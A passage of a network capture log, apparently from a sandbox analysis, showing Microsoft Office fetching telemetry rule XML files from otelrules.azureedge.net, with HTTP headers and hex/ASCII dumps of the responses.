2024-11-24 09:24:23 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 55036ff3-c01e-00a1-5927-3e7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092422Z-178bfbc474bvjk8shC1NYC83ns00000005p0000000003ydp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 09:24:23 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:22 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:22 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092422Z-178bfbc474bfw4gbhC1NYCunf400000005s0000000007a65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:23 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:22 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:23 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4c6a8f70-a01e-000d-057c-3bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092423Z-174c587ffdfks6tlhC1TEBeza400000004b0000000006m9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:23 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:23 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:23 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b5bbaf22-a01e-0070-528a-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092423Z-174c587ffdfcj798hC1TEB9bq400000004e0000000005ma8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:23 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:24 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:25 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: efd631bc-c01e-008d-6f47-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092425Z-15b8b599d885ffrhhC1TEBtuv0000000046g00000000g0zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:25 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:24 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:25 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 15687058-401e-005b-477d-3b9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092425Z-174c587ffdf89smkhC1TEB697s00000004a0000000008ur5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:25 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:24 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:25 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092425Z-178bfbc474bnwsh4hC1NYC2ubs00000005r000000000dmwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:25 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:25 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:25 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 6db8bce5-501e-0078-354f-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092425Z-15b8b599d882l6clhC1TEBxd5c000000044g0000000082yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:25 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:25 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:25 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092425Z-178bfbc474brk967hC1NYCfu6000000005gg000000009hpt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:25 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:27 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:27 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:27 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: d590536c-a01e-0053-7910-3e8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092427Z-15b8b599d88vp97chC1TEB5pzw00000004ag000000000hh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 09:24:27 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:27 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:27 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: ad980b0f-801e-0083-20fe-3df0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092427Z-178bfbc474bvjk8shC1NYC83ns00000005ng0000000040mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:27 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:27 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:27 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 8149a5d6-a01e-001e-117b-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092427Z-174c587ffdfp4vpjhC1TEBybqw000000043g00000000m6xd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:27 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" 